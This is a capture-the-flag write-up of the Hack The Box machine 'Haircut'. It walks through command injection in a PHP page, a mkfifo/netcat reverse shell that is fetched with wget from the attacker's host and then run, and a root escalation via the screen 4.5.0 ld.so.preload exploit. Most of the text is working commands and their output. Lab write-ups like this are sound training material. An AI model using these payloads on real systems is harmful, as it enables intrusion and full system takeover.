HTB: Haircut

Details

This machine is Haircut from Hack The Box

Recon

Start with a service scan

root@kali:~# nmap -sV -p- -T4 10.10.10.24 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-29 13:26 EDT
Nmap scan report for 10.10.10.24
Host is up (0.049s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.63 seconds

User

I started with port 80 at http://10.10.10.24

Screenshot 1

Then ran dirbuster

Screenshot 2

Screenshot 3

I'll try exposed.php

Screenshot 4

I clicked go to test it

Screenshot 5

I tried command injection with

; id

Screenshot 6

I tried a few bypasses, until

$(id)

Screenshot 7

So I set a listener

root@kali:~# nc -nlvp 4444

Then injected

$(nc 10.10.14.11 4444)

Screenshot 8

More filtering, so I made it pull over a shell script which ran my script. So I made a file containing

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f

Which I exposed with a python SimpleHTTPServer, I then injected the following commmands

wget http://10.10.14.11/rev.sh -O /tmp/rev.sh
chmod +x rev.sh
/tmp/rev.sh

In my listener

connect to [10.10.14.11] from (UNKNOWN) [10.10.10.24] 50632
/bin/sh: 0: can't access tty; job control turned off
$ 

There's my shell, which I upgraded

$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@haircut:~/html$ 

Before heading to get my flag

www-data@haircut:~/html$ cd /home 
www-data@haircut:/home$ ls -la
total 12
drwxr-xr-x  3 root  root  4096 May 15  2017 .
drwxr-xr-x 23 root  root  4096 May 16  2017 ..
drwxr-xr-x 15 maria maria 4096 May 19  2017 maria

www-data@haircut:/home$ cd maria
www-data@haircut:/home/maria$ ls -la
total 100
drwxr-xr-x 15 maria maria 4096 May 19  2017 .
drwxr-xr-x  3 root  root  4096 May 15  2017 ..
-rw-------  1 maria maria  322 May 16  2017 .ICEauthority
-rw-------  1 maria maria   52 May 16  2017 .Xauthority
-rw-------  1 maria maria    1 Dec 24  2017 .bash_history
-rw-r--r--  1 maria maria  220 May 15  2017 .bash_logout
-rw-r--r--  1 maria maria 3771 May 15  2017 .bashrc
drwx------  9 maria maria 4096 May 16  2017 .cache
drwx------ 12 maria maria 4096 May 16  2017 .config
-rw-r--r--  1 maria maria   25 May 16  2017 .dmrc
drwxr-xr-x  3 maria maria 4096 May 16  2017 .local
-rw-------  1 maria maria  255 May 16  2017 .mysql_history
drwxrwxr-x  2 maria maria 4096 May 16  2017 .nano
-rw-r--r--  1 maria maria  655 May 15  2017 .profile
-rw-r--r--  1 maria maria    0 May 16  2017 .sudo_as_admin_successful
drwxrwxr-x  2 maria maria 4096 May 16  2017 .tasks
-rw-rw-r--  1 maria maria  203 May 19  2017 .wget-hsts
-rw-------  1 maria maria  957 May 16  2017 .xsession-errors
drwxr-xr-x  2 maria maria 4096 May 19  2017 Desktop
drwxr-xr-x  2 maria maria 4096 May 16  2017 Documents
drwxr-xr-x  2 maria maria 4096 May 16  2017 Downloads
drwxr-xr-x  2 maria maria 4096 May 16  2017 Music
drwxr-xr-x  2 maria maria 4096 May 16  2017 Pictures
drwxr-xr-x  2 maria maria 4096 May 16  2017 Public
drwxr-xr-x  2 maria maria 4096 May 16  2017 Templates
drwxr-xr-x  2 maria maria 4096 May 16  2017 Videos

www-data@haircut:/home/maria$ cd Desktop
www-data@haircut:/home/maria/Desktop$ ls -la
total 12
drwxr-xr-x  2 maria maria 4096 May 19  2017 .
drwxr-xr-x 15 maria maria 4096 May 19  2017 ..
-r--r--r--  1 root  root    34 May 16  2017 user.txt

www-data@haircut:/home/maria/Desktop$ cat user.txt
[REDACTED]

Root

www-data@haircut:/home/maria$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
[SNIP]
/usr/bin/screen-4.5.0
[SNIP]

This screen version has a known priv esc https://www.exploit-db.com/raw/41154, I need gcc to compile it

www-data@haircut:/home/maria$ which gcc
/usr/bin/gcc

I saved it locally and used the python server to move it to the target, but the script version wouldn't work on the target, so I compiled each file locally and moved the compiled version across

root@kali:~# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

root@kali:~# gcc -o /tmp/rootshell /tmp/rootshell.c

www-data@haircut:/tmp$ wget http://10.10.14.11/libhax.so -O ./libhax.so

 www-data@haircut:/tmp$ wget http://10.10.14.11/rootshell -O ./rootshell

So I ran it manually

www-data@haircut:/tmp$ cd /etc

www-data@haircut:/etc$ chmod +x /tmp/rootshell

www-data@haircut:/etc$ umask 000

www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

www-data@haircut:/etc$ screen -ls

www-data@haircut:/etc$ /tmp/rootshell
#

There's my shell

# cd /root
# ls -la
total 32
drwx------  4 root root 4096 May 16  2017 .
drwxr-xr-x 23 root root 4096 May 16  2017 ..
-rw-------  1 root root    1 Dec 24  2017 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 May 16  2017 .cache
drwxr-xr-x  2 root root 4096 May 16  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--r--r--  1 root root   33 May 16  2017 root.txt

# cat root.txt
[REDACTED]

And there's my flag

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